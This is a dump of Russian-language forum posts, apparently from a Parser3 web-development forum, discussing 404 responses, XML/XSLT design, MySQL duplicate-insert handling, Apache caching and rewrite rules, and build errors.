"52655","Я, похоже, неправильно выразился. Конечно, никаких редиректов я не произвожу. Я, собственно, только и хочу, что на некоторых страницах (на каких захочу) выдавать 404 ошибку, но так, чтобы и роботы видели, что страницы нет.\
\
Вариант с $response:body не подходит. Ведь в этом случае страница будет всегда.\
\
Ну на всякий случай повтор вопроса: как принудительно вернуть браузеру или роботу код ошибки 404 - так, чтобы пользователь увидел, что страницы нет (ну, будет там стандартное сообщение браузера), а робот больше сюда не возвращался?"
"52656","давайте меняться на xml и tab-delimited ссылками....\
\
И еще где можно скачать справочник кодов гороов , чтобы не 095 495 т.е новые"
"52657","[quote]Ну на всякий случай повтор вопроса: как принудительно вернуть браузеру или роботу код ошибки 404 - так, чтобы пользователь увидел, что страницы нет (ну, будет там стандартное сообщение браузера), а робот больше сюда не возвращался?[/quote]\
\
[code]^if(нет такой страницы){\
	$response:status(404)\
	<p>Опаньки :-( </p>\
	<!-- \
		мусор на полкилобайта, \
		чтобы отключилась функция \
		InternetExplorer \"Friendly HTTP errors\" \
		.......... ........ \
	-->\
}{\
	<p>У нас всё хорошо!</p>\
}[/code]"
"52658","1) На сколько мне известно, без mod_rewrite, динамические страницы робот не индексирует.\
2) 404 - насилие над пользователем.\
Вообще мысль создать страницу, которую не могут видеть ни пользователи, ни роботы, слегка необычна. Вполне вероятно, что если Вы поделитесь своей целью, то Вам подскажут более рациональный способ ее достижения."
"52659","и лучше не тырить оттуда информацию, а ставить ссылку. Они этот регистр держат, у них информация всегда точна."
"52660","thx, все работает)"
"52661","Вы развеяли мои сомнения насчёт такой конструкции. У меня так и делается сейчас, но почему-то казалось, что response:status(404) - то же самое,как если бы страница реально не была найдена"
"52662","1) а как вам такой адрес: http://server.ru/news/2006/12/01/? Если новость есть - всё ок, а если нет - нужно роботу сказать об этом\
2) почему насилие? объясните пожалуйста, может, я что-то не понимаю.\
\
Мысль создать страницу, при заходе на которую человек видит красивую надпись \"Страница не найдена\", а робот видит некоторый заголовок, отданный ему сервером, который сообщает ему, что страницы вообще-то нет\
\
А глобально была идея, чтобы прописав буквально несколько слов в теле главной страницы сайта (которая есть), сразу сделать её несуществующей так, чтобы сработала команда в htaccess и отобразилась страница /404/"
"52665","А еще можно просто обработчик написать, который бы выводил из базы в XML-представление, а потом XSL его обрабатывал."
"52666","Если у меня большое изображение в качестве фона, то что с ним нужно делать, чтобы оно не грузилось каждый раз? Кэшировать?"
"52667","вот только на сайте OpenID лежит 200-килобайтный мануал, разбираться с которым - несколько дней уйдет. Вот я и подумал, может кто кодом поделится..."
"52670","Поделитесь, если у кого есть, плз"
"52671","А после компиляции при запуске получаю вот такое вот сообщение:\
Thr_create returned -1\
Cant fork daemon\
Abort (core dumped)\
\
А вот что говорит gdb:\
# gdb parser3 core \
GNU gdb 6.4\
Copyright 2005 Free Software Foundation, Inc.\
GDB is free software, covered by the GNU General Public License, and you are\
welcome to change it and/or distribute copies of it under certain conditions.\
Type \"show copying\" to see the conditions.\
There is absolutely no warranty for GDB.  Type \"show warranty\" for details.\
This GDB was configured as \"sparc-sun-solaris2.8\"...(no debugging symbols found)\
\
\
warning: exec file is newer than core file.\
Core was generated by `./parser3'.\
Program terminated with signal 6, Aborted.\
Reading symbols from /usr/lib/libdl.so.1...(no debugging symbols found)...done.\
Loaded symbols for /usr/lib/libdl.so.1\
Reading symbols from /usr/lib/libcrypt_i.so.1...(no debugging symbols found)...done.\
Loaded symbols for /usr/lib/libcrypt_i.so.1\
Reading symbols from /usr/lib/libm.so.1...(no debugging symbols found)...done.\
Loaded symbols for /usr/lib/libm.so.1\
Reading symbols from /usr/lib/libnsl.so.1...(no debugging symbols found)...done.\
Loaded symbols for /usr/lib/libnsl.so.1\
Reading symbols from /usr/lib/libsocket.so.1...\
(no debugging symbols found)...done.\
Loaded symbols for /usr/lib/libsocket.so.1\
Reading symbols from /usr/lib/libc.so.1...(no debugging symbols found)...done.\
Loaded symbols for /usr/lib/libc.so.1\
Reading symbols from /usr/lib/libgen.so.1...(no debugging symbols found)...done.\
Loaded symbols for /usr/lib/libgen.so.1\
Reading symbols from /usr/lib/libmp.so.2...(no debugging symbols found)...done.\
Loaded symbols for /usr/lib/libmp.so.2\
Reading symbols from /usr/platform/sun4u/lib/libc_psr.so.1...\
(no debugging symbols found)...done.\
Loaded symbols for /usr/platform/SUNW,UltraAX-i2/lib/libc_psr.so.1\
#0  0xff19c840 in _libc_kill () from /usr/lib/libc.so.1\
(gdb) bt\
#0  0xff19c840 in _libc_kill () from /usr/lib/libc.so.1\
#1  0xff135ab4 in abort () from /usr/lib/libc.so.1\
#2  0x000c60f8 in GC_abort ()\
#3  0x000cc1f8 in GC_thr_init ()\
#4  0x000c5938 in GC_init_inner ()\
#5  0x000be87c in GC_generic_malloc_inner ()\
#6  0x000beaec in GC_generic_malloc ()\
#7  0x000beee0 in GC_malloc ()\
#8  0x0008a004 in MXdoc::MXdoc ()\
#9  0x002a15fc in _Unwind_Find_FDE ()\
#10 0x002a163c in _init ()\
#11 0x0003ba6c in _start ()"
"52672","Здравствуйте!\
\
Есть несколько общих вопросов касающихся использования XML+XSLT.\
Моя основная деятельность разработка отраслевых порталов и каталогов. Каждый раз когда приходится делать новый проект (даже если он очень похож на старый), при смене дизайна необходимо переделывать код, отсюда появляются ошибки и в итоге полная каша.\
\
Много читал про использование xml+xslt, решил попробовать. Возник ряд вопросов:\
\
1. Как строить xml деревья? С использованием DOM или генерировать динамически? Плюсы и минусы разных подходов.\
\
2. xml и общая структура сайта. Может быть здесь есть какие-то подводные камни?\
\
3. ну и если не сложно, общие советы по использованию xml-xslt, подводные камни.\
\
Хотелось бы понять как нужно \"правильно\" делать...\
\
Буду признателен за любые ответы."
"52673","http://xml.nsu.ru/"
"52674","У меня так и написано.\
\
[code]ExpiresActive on\
ExpiresByType image/jpeg \"access plus 14 day\"[/code]\
\
Только они все равно грузятся."
"52676","Можете сделать и показать здесь заголовки, которые выдаст apache?"
"52677","[quot]\
1) На сколько мне известно, без mod_rewrite, динамические страницы робот не индексирует.\
[/quot]\
\
Кто Вам такое сказал? Так было очень очень давно."
"52679","У меня данные 2000 года =) Статья про mod_rewrite - http://www.alistapart.com/articles/urls/\
Если есть более современные данные, буду очень признателен за линк."
"52680","в parser3.log\
 './lib/libparser3mysql.so' can't open the module [<no type>]\
\
при чем Парсер однозначно пытается эту библиотеку подгрузить и она точно есть по этому пути.\
\
libmysqlparser3, как и parser3 собирался на другой машине.\
\
версия библиотеки: libmysqlclient.so.14, mysql 5.0"
"52681","Ссылки не найду, но то что все наиболее известные поисковики нормально индексируют динамические адреса - точно. Всё равно есть несколько причин перейти на псевдостатику:\
\
1. Если на Вашу динамическую страницу поставят ссылку через редирект, то в 90% случаях параметры в урл пропадут (зависит от того как сделан редирект).\
2. Понятнее для пользователей и просто красивее выглядит.\
3. По поводу того что статическим страницам дают больший вес в поисковиках вопрос сложный, если и дают то это не заметно на фоне дргуих параметров ранжирования."
"52683","Александр, здесь никто не спорил о приемуществах псевдостатики. Более того, статья, на которую я предоставил ссылку, именно о псевдостатике. Речь в треде шла о 404 странице."
"52684","'./lib/libparser3mysql.so' can't open the module [<no type>]\
\
Брался драйвер libparser3mysql из CVS\
\
О хостинге:\
* MySQL client: mysql Ver 14.12 Distrib 5.0.20, for portbld-freebsd6.1 (i386) using 5.0\
* OS: FreeBSD i386\
* Kernel: 6.1-RC \
\
:((((((("
"52689","Выводить из базы и потом обертывать в xml -- то же есть сейчас. К тому же xml это формат описания данных. Поэтому почемубы не хранить их вместе?"
"52690","Достигни полного дзена, не делая винегрет.\
\
БД используй по назначению, теги XML не советую вставлять туда. Т.к. в дальнейшем это обернется туевой хучей проблем для тебя.\
\
Юзай либо XML-БД либо формируй XML-код на лету (кеширование поможет :) ). Есть вариант все держать на диске в XML-файлах. Но это плохой вариант."
"52691","довольно необычным способом (поиск по форуму рулит)\
http://www.parser.ru/forum/?id=32984\
\
\"Всем спасибо\" :)\
\
---\
Давайте задокументируем сию \"фичу\", ибо процент самостоятельно собравших под FreeBSD из исходников Parser3 без таких солюшнов будет презрительно мал."
"52692","при попытке записи файла из формы на диск используя вот такой код:\
[code]^form:thumb.save[binary;$thumb_name][/code]\
\
по непонятной мне причине появляется ошибка:\
[b]binary[/b]\
[i]unknown mode, must be 'append'[/i]\
\
\
в чем может быть проблема?"
"52693","Трава хороша.\
\
Формировать на лету вариант. Но интересно кто как сейчас использует? PAF в отпуске..."
"52694","[url=\"http://www.parser.ru/forum/?terms=unknown+mode%2C+must+be+%27append%27&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8\"]Поисковый запрос[/url]"
"52695","В общем суть вопроса... сайт мне написали на парсере... Теперь возникла потребность перевести его на новый адрес и на новый хостинг.... мне посоветовали хост провайдера Highway.ru ... но у них почему то сайт не встал и выдает эту ошибку\
File: /www/ersk/www/htdocs/auto.p\
Lineno: 18\
Source: mysql://****@localhost/wwwerskru\
Comment: Client does not support authentication protocol requested by server; consider upgrading MySQL client\
\
Толи у них там версии маэскуэля не совпадают толи каккие то библиотеки настроить нужно... в общем ищу человека который решит мне этот вопрос за вменяемые деньги... \
+желателоно мне бы еще найти такого человека чтобы разбирался в оптимизации сайта для поисковиков... потому как для меня это тоже важно.... и мог поменять контент... в общем чтоб занимался поддержкой в том числе...\
все вопросы можно решать как вместе так и по отдельности\
о цене договоримся\
мыльте ers@yandex.ru или в \
аську156904252\
\
С уважением Дмитрий"
"52696","В RQ.Platform (сейчас в разработке) мы (я и...) используем абстрактные слои данных. Т.е. в системе свой API для запроса данных. Он обрабатывается подсистемой управления данными.\
\
Реализуется единое хранилище данных. Составляется XML-запрос к нему и дальше подсистема управления данными решает, откуда инфу доставать -- файлы, СУБД, RSS, и т.д.\
\
Подсистема возвращает, в ответ на запрос, данные в виде XML. Также там происходят другие процессы: кеширование, сортировка, и всё, что может потребоваться.\
\
К сожалению, RQ.Platform на PHP5. На Парсере нет времени делать.\
\
Оффтоп: на Парсере будет другой продукт -- RQ.Components, который значительно упростит разработку веб-приложений, а также хранение кода.\
\
Вся информация будет доступна через месяц-полтора. Кто хочет быть в курсе событий, пишите мне :).\
\
</РЕКЛАМА> -- :)"
"52697","Мне вот интересно кто как на основе данных генерирует xml. \
То есть как наиболее эффективно реализовать метод который бы на основе данных делал xml. Просто материалов мне на эту тему попадалось немного, буду благодарен.\
\
Пока приходит вариан передать методы хэш из ключа которого будут формироваться тэги."
"52698","что до хранения в базе XML, если уж хочется:\
тут важно обработать всякую <гадость>, чтобы она нормально в базу полегла.\
\
вариант:\
[code]\
$xdoc[^xdoc::create{…\
<record>\
<title>$form:title</title>\
<body>$form:body</body>\
</record>\
}]\
$xml[^xdoc.string[\
  $.omit-xml-declaration(true)\
]]\
#+\
#если этого не сделать, то будут проблемы со знаком апостроф (')\
$xml[^taint[$xml]]\
#-\
^void:sql{insert into table1 (xml) values ('$xml')}\
[/code]"
"52699","мы делаем так:\
[code]\
$response:location[/not/found/]\
[/code]\
\
тут Apache видит, что происходит internal redirect, т.е. не выдаёт location в браузер, а честно пытается пойти туда сам... а там ничего нет.\
\
Apache видит, что у него есть директива ErrorDocument 404, и действует согласно ей.\
\
(понятно, этот адрес не должен подпадать под rewrite rules)"
"52702","Уже делаю что-то навроде\
[code]\
@select_hash_values[postId]\
$selectValuesFromContents[^hash::sql{\
	SELECT name, text \
	FROM contents \
	WHERE post_id = $postId\
}]\
^selectValuesFromContents.foreach[key;value]{\
	<$key>^untaint{$selectValuesFromContents.$key.text}</$key> \
}\
[/code]"
"52703","Очень полезно просто почитать результат поиска по форуму по слову xsl.\
\
Далее:\
[quote]1. Как строить xml деревья? С использованием DOM или генерировать динамически? Плюсы и минусы разных подходов.[/quote]\
\
Генерить, как простой текст и перед трансформом создавать на его основе xdoc.\
Быстро и просто.\
\
Можно юзать DOM и нанизывать куски на каркас.\
Концептуально и можно на ходу проверять валидность отдельных кусков перед складированием в док (в первом способе тоже можно...), но медленней и громоздко.\
\
[quote]2. xml и общая структура сайта. Может быть здесь есть какие-то подводные камни?[/quote]\
\
Да никаких особенных ограничений нет...\
В голову как-то не приходят вот так сразу.\
\
Как содержимое страницы может зависеть от структуры сайта?..\
\
[quote]3. ну и если не сложно, общие советы по использованию xml-xslt, подводные камни.[/quote]\
\
Не увлекаться.\
Трансформирование - операция трудоёмкая, ест много времени, а особенно, памяти.\
Поэтому подчищать за собой (локальные переменные в методах, memory:compact перед трансформом и т.д.) и делать xml поинформативнее.\
То бишь, не заигрываться с xsl и делать, то что можно сделать Парсером и выгружать в xml.\
\
Юзать кэширование и разбивать xsl шаблоны на минимально необходимые для работы куски и использовать импорт только самого необходимого."
"52704","== вести свой лог?"
"52707","есть ли возможность в MySQL запросе добавлять несуществующие строки? Т.е. мне нужно добавить информацию, при этом проверить, занесена она уже в базу или нет... Если занесена то заносить не надо. Если есть возможность начинать просмотр с конца, то было бы хорошо, так как я думаю быстрее бы работало.\
\
В самом парсере я понимаю как сделать проверку и всё остальное, а вот можно ли в MySQL? При этом нужно учитывать, что база будет огромной...\
\
Просто если это возможно, напишите пожалуйста, хотя бы в общих чертах... (с клучевыми словами, если можно, а то даже не знаю в каком разделе документации MySQL искать)"
"52708","Спасибо за первый ответ по существу.\
\
[quot]\
Да никаких особенных ограничений нет...\
В голову как-то не приходят вот так сразу.\
\
Как содержимое страницы может зависеть от структуры сайта?..\
[/quot]\
\
Ну первое что мне сразу бросилось в глаза - это то что у нас не будет html страниц, значит мы должны передавать нужный урл динамически, т.е. например site.ru?page=catalog. Правильно?\
[quot]\
Юзать кэширование и разбивать xsl шаблоны на минимально необходимые для работы куски и использовать импорт только самого необходимого.[/quot]\
Как посоветуете разбить куски дизайна страницы? На шапку, середину, левую навигацию и низ (конечно если структура сайта такая :) )? Или дизайн разбивать не надо?"
"52709","Ну можно попробовать сначала селектом найти то что пытаетесь добавить. Конечно нужны правильные индексы. Если результат нулевой - добавлять."
"52710","[quote]мы должны передавать нужный урл динамически[/quote]\
\
Да это дело десятое.\
Можно ModRewrite'ом всё эмулировать, можно продолжать юзать файлы.\
Без разницы. Как удобнее - так и делайте.\
\
Страница получила запрос, на его основе гненерила xml, сделала трансформ и выдала браузеру.\
\
[quote]Или дизайн разбивать не надо?[/quote]\
\
Если в xml страницы может быть выведено куча разных данных, то не надо совать шаблоны для всех данных в один xsl.\
Лучше разбить шаблоны по типам данных и вызывать какждый в зависимости от типа данных страныцы.\
\
То бишь, если у вас на странице выводится только текст статьи, не нужно пихать в xsl её трансформации шаблоны для файлов, галерей, форумов и списков материалов...\
Но если помимо статьи там есть ещё список других статей, который нужно обработать и вывести, то подгрузите дополнительный шаблон трансформирующий этот самый список."
"52711","т.е. в MySQL нет команды добавить не существующие пункты?\
\
С проверкой я прекрасно понимаю как сделать...\
я обдумывал эту схему и решил, что нужно делать в 2 захода...\
найти все компоненте которые существуют типа того:\
$a[^db.table{select column\
from my_table\
where (^new.menu{(column='$new.column')}[or])\
}]\
\
a потом выборкой вставить в mysql..., где $a.column!=$new.column\
\
Это мне понятно, я думал, может есть способ добавить не существующие строки... а то сейчас получается если база в 10000 строк и добавление ещё 300 строк, и всё это сравниваться будет, как я показал, то возможно, что это будет очень долгий процесс...\
\
думал есть способ более быстрого обновления... так есть или нет?"
"52712","[code]\
^try{\
#	добавлям\
	^void:sql{\
		INSERT INTO\
		...\
		(\
			id,\
			text\
		)\
		VALUES\
		(\
			'5',\
			'текст'\
		)\
	}\
}{\
#	запись с id 5 уже есть\
	$exception.handled(true)\
}\
[/code]\
\
При этом id должен быть первичным или уникальным ключом в таблице.\
Либо играть на уникальности другого ключа.\
Смысл один - пробовать вставлять ничего не проверяя, но обязательно задавая всё поля (если вдруг какое auto increment) обернув конструкцию в try.\
Как только на вставку пойдут данные с уже имеющимися значениями ключей - mysql выдаст ошибку о дублировании, которую вы поймаете и обработаете как нужно."
"52713","http://dev.mysql.com/doc/refman/4.1/en/replace.html\
\
почти то же самое, только более по стандартам, более хитрый синтаксис но вроде в более поздних версиях появилось:\
http://dev.mysql.com/doc/refman/4.1/en/insert-on-duplicate.html\
\
если нужно вставить не одну строку а пачку записей, то\
http://dev.mysql.com/doc/refman/4.1/en/load-data.html\
см. опции [REPLACE | IGNORE]\
\
во всех случаях нужно, чтобы в таблице были столбцы либо с PRIMARY KEY либо declared as UNIQUE, по произвольному условию не сработает.\
[code]MySQL uses the following algorithm for REPLACE (and LOAD DATA ... REPLACE): \
\
 1. Try to insert the new row into the table \
\
 2. While the insertion fails because a duplicate-key error occurs for a primary key or unique index: \
\
    a. Delete from the table the conflicting row that has the duplicate key value \
\
    b. Try again to insert the new row into the table \
[/code]"
"52715","да мысль хорошая... я бы хотел все записи одной командой mysql запихнуть... Не получится ли чтоу нас что-то запишется, а потом остановится на повторяющемся элементе и дальше него не пойдёт?\
\
или всё-таки разными командами mysql запихивать?"
"52716","Спасибо большое, вечером попробую разобраться и запустить..."
"52717","Или вставится всё, или ничего.\
Поэтому, естественно, для большого количество записей такая схема не работает.\
\
Расскажите о своей задаче, может вам предложат более элегантный путь её решения."
"52718","Принцип понял, спасибо за развернутые ответы."
"52719","Да, в доке все понятно!\
Да, лениво!\
Да, не позволяет религия!\
;-)\
\
Заранее спасибо!"
"52720","Вот что мы умеем на данный момент\
http://www.spearance.ru/parser3/chart/"
"52721","Очень надо...\
или вышли на мыло dvapay@ya.ru"
"52722","Друзья, я очень хочу сделать меню как у вас на ipod.ru\
То есть с соединением проводками пуктов меню при наведении мышой.\
Я даже умудрился все это заставить работать локально.\
Но основная там часть -- это swf, которые самостоятельно я не сделаю, видимо, никак. Поделитесь, пожалуйста, как его сделать? Или исходник покажите, не знаю :-) Любые копирайты, конечно же, поставлю в любое место."
"52723","ищи програмку swfdecompiler\
;-)"
"52725","[quot]\
$a[^db.table{select column\
from my_table\
where (^new.menu{(column='$new.column')}[or])\
}]\
[/quot]\
\
А может здесь можно использовать вложенные запросы?"
"52726","можно и вложенные попробовать, но быстрее ли это будет работать? Предлагая работу в 2 этапа, предполагается, что на втором этапе (когда идёт загрузка инфы в базу) нам уже не нужно проверять какие столбцы совпали, а если одним запросом, то придётся опять полностью проверять... таким образом, мне кажется опять будут проходить лишние циклы. Если я ошибаюсь, то готов посмотреть предложение по коду..."
"52727","если эта http://www.parser.ru/forum/?id=52713 схема будет работать, то всё ок. После работы буду пробовать."
"52728","Если я  правильно понял задачу, то\
\
$a[^db.table{select column\
from my_table\
where column NOT IN (new select запрос)\
}]\
\
А по каким параметрам вы сравнивать записи хотите? Если по ID то всё проще (Вам уже посоветовали), если какие-то другие параметры то об уникальности сложно говорить в принципе."
"52729","В том то и дело что не по id... :( там колонка с текстами, которые могут занимать много места. по поводу not in... мысль хорошая... буду пробовать"
"52731","[quote]// Action script...\
\
// [Action in Frame 1]\
Stage.scaleMode = \"noScale\";\
Stage.align = \"TL\";\
Stage.addListener(this);\
onResize = function ()\
{\
    var _loc2 = _root.from;\
    var _loc3 = _root.to;\
    var _loc19 = _loc2 + \",\" + _loc3;\
    if (_loc19 == _root.retry)\
    {\
        return;\
    } // end if\
    _root.retry = _loc19;\
    _root.clearStage();\
    _loc2 = _root.from.split(\",\");\
    _loc2 = {x: Number(_loc2[0]), y: Number(_loc2[1]), width: _loc2[2], height: _loc2[3]};\
    _loc3 = _root.to.split(\",\");\
    _loc3 = {x: Number(_loc3[0]), y: Number(_loc3[1]), width: _loc3[2], height: _loc3[3]};\
    var _loc27 = isNaN(_loc2.x) || isNaN(_loc2.y) || isNaN(_loc3.x) || isNaN(_loc3.y);\
    var _loc25 = isNaN(_loc2.width) || isNaN(_loc2.height) || isNaN(_loc3.width) || isNaN(_loc3.height);\
    if (_loc27 || _loc25)\
    {\
        return;\
    } // end if\
    var _loc9 = _root.createEmptyMovieClip(\"container\", 5);\
    var _loc5 = _loc9.createEmptyMovieClip(\"curve\", 5);\
    var _loc18 = _loc3.x < _loc2.x ? (-1) : (1);\
    var _loc6 = _loc3.x - _loc2.x;\
    var _loc4 = _loc3.y - _loc2.y;\
    if (Math.abs(_loc6 / _loc4) < 2)\
    {\
        _loc2.x = _loc2.x + _loc2.width / 4;\
        _loc3.x = _loc3.x + _loc3.width / 4 * 3;\
    }\
    else\
    {\
        _loc2.x = _loc2.x + _loc2.width / 4 * 3;\
        _loc3.x = _loc3.x + _loc3.width / 4;\
    } // end else if\
    _loc6 = _loc3.x - _loc2.x;\
    _loc4 = _loc3.y - _loc2.y;\
    var _loc7 = Math.sqrt(_loc6 * _loc6 + _loc4 * _loc4);\
    var _loc11 = _loc7 / 2;\
    var _loc10 = _loc11 / 2;\
    var _loc12 = Math.abs(_loc4) * 5 / 4;\
    _loc9._x = _loc2.x;\
    _loc9._y = _loc2.y;\
    var _loc23 = _loc12 * _loc18;\
    var _loc21 = -_loc12 * _loc18;\
    var _loc17 = {x: 0, y: 0};\
    var _loc8 = {x: _loc11, y: _loc4 / 2};\
    var _loc14 = {x: _loc10 / 2, y: _loc23};\
    var _loc16 = _loc8;\
    var _loc15 = {x: _loc7, y: _loc4};\
    var _loc13 = {x: _loc7 - _loc10 / 2, y: _loc21 + _loc4};\
    _loc5.lineStyle(2, 16777215, 100, false, \"none\", \"none\");\
    _loc5.moveTo(_loc17.x, _loc17.y);\
    _loc5.curveTo(_loc14.x, _loc14.y, _loc8.x, _loc8.y);\
    _loc5.lineStyle(2, 16777215, 100, false, \"none\", \"none\");\
    _loc5.moveTo(_loc16.x, _loc16.y);\
    _loc5.curveTo(_loc13.x, _loc13.y, _loc15.x, _loc15.y);\
    var _loc24 = 14540253;\
    var _loc32 = 8.000000E-001;\
    var _loc29 = 5;\
    var _loc28 = 5;\
    var _loc30 = 2;\
    var _loc20 = 3;\
    var _loc26 = false;\
    var _loc31 = false;\
    var _loc22 = new flash.filters.GlowFilter(_loc24, _loc32, _loc29, _loc28, _loc30, _loc20, _loc26, _loc31);\
    _loc5.filters = [_loc22];\
};\
findApex = function (scope, p1_obj, p2_obj, y)\
{\
    var _loc2 = {x: 0, y: y};\
    var _loc3 = {x: Stage.width, y: y};\
    scope.globalToLocal(_loc2);\
    scope.globalToLocal(_loc3);\
    var _loc5 = (p2_obj.x - p1_obj.x) * (_loc3.y - _loc2.y) - (_loc3.x - _loc2.x) * (p2_obj.y - p1_obj.y);\
    var _loc6 = ((_loc3.x - _loc2.x) * (p1_obj.y - _loc2.y) - (p1_obj.x - _loc2.x) * (_loc3.y - _loc2.y)) / _loc5;\
    var _loc7 = ((p2_obj.x - p1_obj.x) * (p1_obj.y - _loc2.y) - (p1_obj.x - _loc2.x) * (p2_obj.y - p1_obj.y)) / _loc5;\
    var _loc9 = p1_obj.x + _loc6 * (p2_obj.x - p1_obj.x);\
    y = p1_obj.y + _loc6 * (p2_obj.y - p1_obj.y);\
    return ({x: _loc9, y: y});\
};\
clearStage = function ()\
{\
    this.curve.removeMovieClip();\
    this.bubble.removeMovieClip();\
    this.tip.removeMovieClip();\
    this.tip_mask.removeMovieClip();\
};[/quote]"
"52733","Если мы разбиваем XSL шаблон на части например так:\
- шаблон для каталога\
- шаблон для общего дизайна\
\
То если мы хотим вывести каталог, нам нужно делать иморт design.xsl в catalog.xsl ?\
\
Нельзя ли на уровне парсера назначать для разных данных свои шаблоны?\
"
"52734","Добавка.\
/i/scripts/freaky-line.js"
"52737","Имеется код:\
[code]\
@infofromdb[]\
^db_users{\
	$nickname[^string:sql{\
		SELECT nickname FROM users WHERE login = '$cookie:user'\
	}]\
}\
\
@error[fromdb]\
^if(def $cookie:user){\
	$fromdb\
}\
\
@main[]\
^error[^infofromdb[]]\
[/code]\
Данный код выдает ошибку - produced no result, but no default option specified. По моей логике, вызов метода ^infofromdb[] с sql-запросом должен происходить только в случае прохождения проверки на существование куки \"user\", которая реализована в операторе @error[]. Но в данном случае вызов метода происходит до проверки. Если же проверку существования куки поместить и в оператор @infofromdb[],\
[code]\
@infofromdb[]\
^if(def $cookie:user){\
	^db_users{\
		$nickname[^string:sql{\
			SELECT nickname FROM users WHERE login = '$cookie:user'\
		}]\
	}\
}\
[/code]\
то ошибки не возникает, что еще раз свидетельствует о выполнении метода до проверки в @error[]. Проблема не фатальна, но первый раз моя логика не совпала с логикой Парсера =) Обьясните, в чем моя ошибка?"
"52740","Нужно сделать динамический import xsl файлов, как лучше:\
- через <xsl:param\
- через xml\
?"
"52743","что если в базе лежит буква \
<\
\
?"
"52746","вариант: подпишите ссылочку в комментарий к документации?"
"52747","тот кусок кода, что у вас бастует\
[code]\
    if (ret != 0) {\
	GC_err_printf1(\"Thr_create returned %ld\\n\", ret);\
    	ABORT(\"Cant fork daemon\"); \
[/code]\
, взялся отсюда: solaris_threads.c\
[code]\
#if GC_SOLARIS_THREADS\
[/code]\
\
\
вывод = вам почему-то не удалось воспользоваться услугами\
./build-all-xxx\
\
и вы захотели собрать libgc сами (или взять готовый).\
готовый, вероятно, не годится.\
\
если сборку libgc вы скрипту build-all-xxx не доверяете, сделайте так:\
[code]\
  ./configure --prefix=$project_directory/gc --disable-threads --disable-shared --silent\
[/code]\
\
и будет порядок"
"52748","и простой кусочек вида\
[code]\
#достали из базы\
<item>\
   <title>$record.title</title>\
   …\
</item>\
[/code]\
вас не устраивает.\
\
нет ничего проще: опишите таблицы в общем виде, и используйте один метод, который будет, основываясь на описании таблиц, делать преобразование в xml.\
\
сильно упрощая:\
[code]\
^ToXML:register[table1;element1;\
field1	attr1\
field2	attr2\
}]\
\
$table1[достали где-то]\
#-тут-перешли к нужной записи-\
\
#выводим\
^ToXML:render[table1;$table1]\
[/code]\
\
а за кадром что-то такое:\
[code]\
@CLASS\
ToXML\
\
@register[sTableName;sElementName;sDecl]\
$m_hStructure.$sTableName[\
   $.sElementName[$sElementName]\
   $.tDecl[^table::create{field	attr^#0A$sDecl}]\
]\
\
@render[sTableName;hRecord][hDecl;tDecl]\
$hDecl[$m_hStructure.$sTableName]\
$tDecl[$hDecl.tDecl]\
<$hDecl.sElementName\
^tDecl.menu{\
   $tDecl.attr=\"$hRecord.[$tDecl.field]\"\
}\
>\
[/code]"
"52749","и первой проблемы у вас не будет."
"52750","[code]\
^xdoc.transform[$template]\
\
#а чуть раньше\
$template[^xdoc::create{…\
<xsl:stylesheet>\
  ^tImport.menu{\
    <xsl:import href=\"$tImport.href\"/>\
  }\
</xsl:stylesheet>\
}]\
[/code]\
т.е. параметром у transform может быть не только имя, но и xdoc!"
"52751","запрос\
[quot]\
$nickname[^string:sql{SELECT nickname FROM users WHERE login = '$cookie:user'}]\
[/quot]\
так же приведет к указанной ошибке даже в случае существования куки $cookie:user, если в в таблице не будет найдено ни одной записи, удовлетворяющей этому условию.\
\
для того, чтобы выдавалась не ошибка, а возвращалось иное значение нужно определить опцию $.default{} у упомянутого sql запроса."
"52752","Я писал тестовый вариант, опираясь на исходники жж.\
Рекомендую - там огромная куча интересных идей и реализаций"
"52753","Каждый, кто получит от меня печеньку, обязательно указал nickname при регистрации. Имя куки обязательно соответствует одному из значений столбца login, у меня так авторизация устроена. Плохим дядям я печеньки не даю =)"
"52754","Версия 12.00а, если включить в настройках Unix'овый стиль регулярных выражений, то функции не ищутся или находится вместо них бред.\
Естественно, можно поправить выражение на юниксовое в файле подстветки, указатели на фунуции в листе тогда работают, но имён у функций нет.\
\
Для исправления этого бага вышел [url=\"http://ultraedit.com/files/hotfix/uedit.zip\"]хотфикс[/url].\
Так что - будьте бдительны при апгрейдах."
"52755","В error.log записывается путь к \"/not/found/\". $request:uri не меняется.\
\
Пробую так:[code]$response:location[/-error/][/code]\
\
[i].htaccess:[/i]\
[code]RewriteCond	%{REQUEST_FILENAME} !-f\
RewriteCond	%{REQUEST_FILENAME} !-d\
RewriteRule	^([A-z0-9].*)/$	index.html?uri=/$1/ [QSA,L]\
\
RewriteCond	%{REQUEST_FILENAME} !-f\
RewriteCond	%{REQUEST_FILENAME} !-d\
RewriteRule	^([A-z0-9].*)	/$1/ [R,L][/code]"
"52757","На сервере структура такая:\
/home/webadmin/vcgi/\
[i]здесь лежит parser3.cgi с auto.p и другими папками[/i]\
\
/home/webadmin/САЙТ/cgi-bin/\
[i]здесь обычно лежит линк на parser3.cgi из vcgi[/i]\
\
В <VirtualHost ...> для САЙТ'а прописано:\
[code]\
SetEnv CGI_PARSER_CONFIG /home/webadmin/vcgi/auto.p\
SetEnv CGI_PARSER_LOG /home/webadmin/САЙТ/data/parser3.log\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files> \
[/code]\
\
[b]Зачем всё это сделано?[/b]\
Хочется чтобы на сервере был всего лиш один скрипт Parser'а. При желании разные файлы конфигурации, но и можно было использовать один, который лежит в /home/webadmin/vcgi.\
\
[b]Какие есть проблемы?[/b]\
Судя по всему SetEnv CGI_PARSER_CONFIG, CGI_PARSER_LOG не дало никакого результата...\
Отхватываю ошибку:\
[code]\
/: 'CLASSNAME.p' usage failed - no $MAIN:CLASS_PATH were specified [parser.runtime]\
[/code]\
Хотя в auto.p (который в лежит в vcgi) в методе @conf[] определено:\
[code]\
$CLASS_PATH[^table::create{path\
/classes\
}]\
[/code]\
И в /home/webadmin/САЙТ/html/classes находятся нужные классы.\
\
[i]P.S. В конф. файле httpd.conf прописано: LoadModule env_module modules/mod_env.so.[/i]\
\
[i]P.S.S. Ещё одна странность parser3.log сохраняется в /home/webadmin/САЙТ/cgi-bin, а не в /home/webadmin/САЙТ/data.[/i]"
"52758","1. у броузера установлена опция \"забыть все куки при выходе\"\
2. у броужера была нажата кнопка \"очистить куки\"\
3. вы скопировали запрос с sting:sql в другое мето и не дописали $.default{}\
\
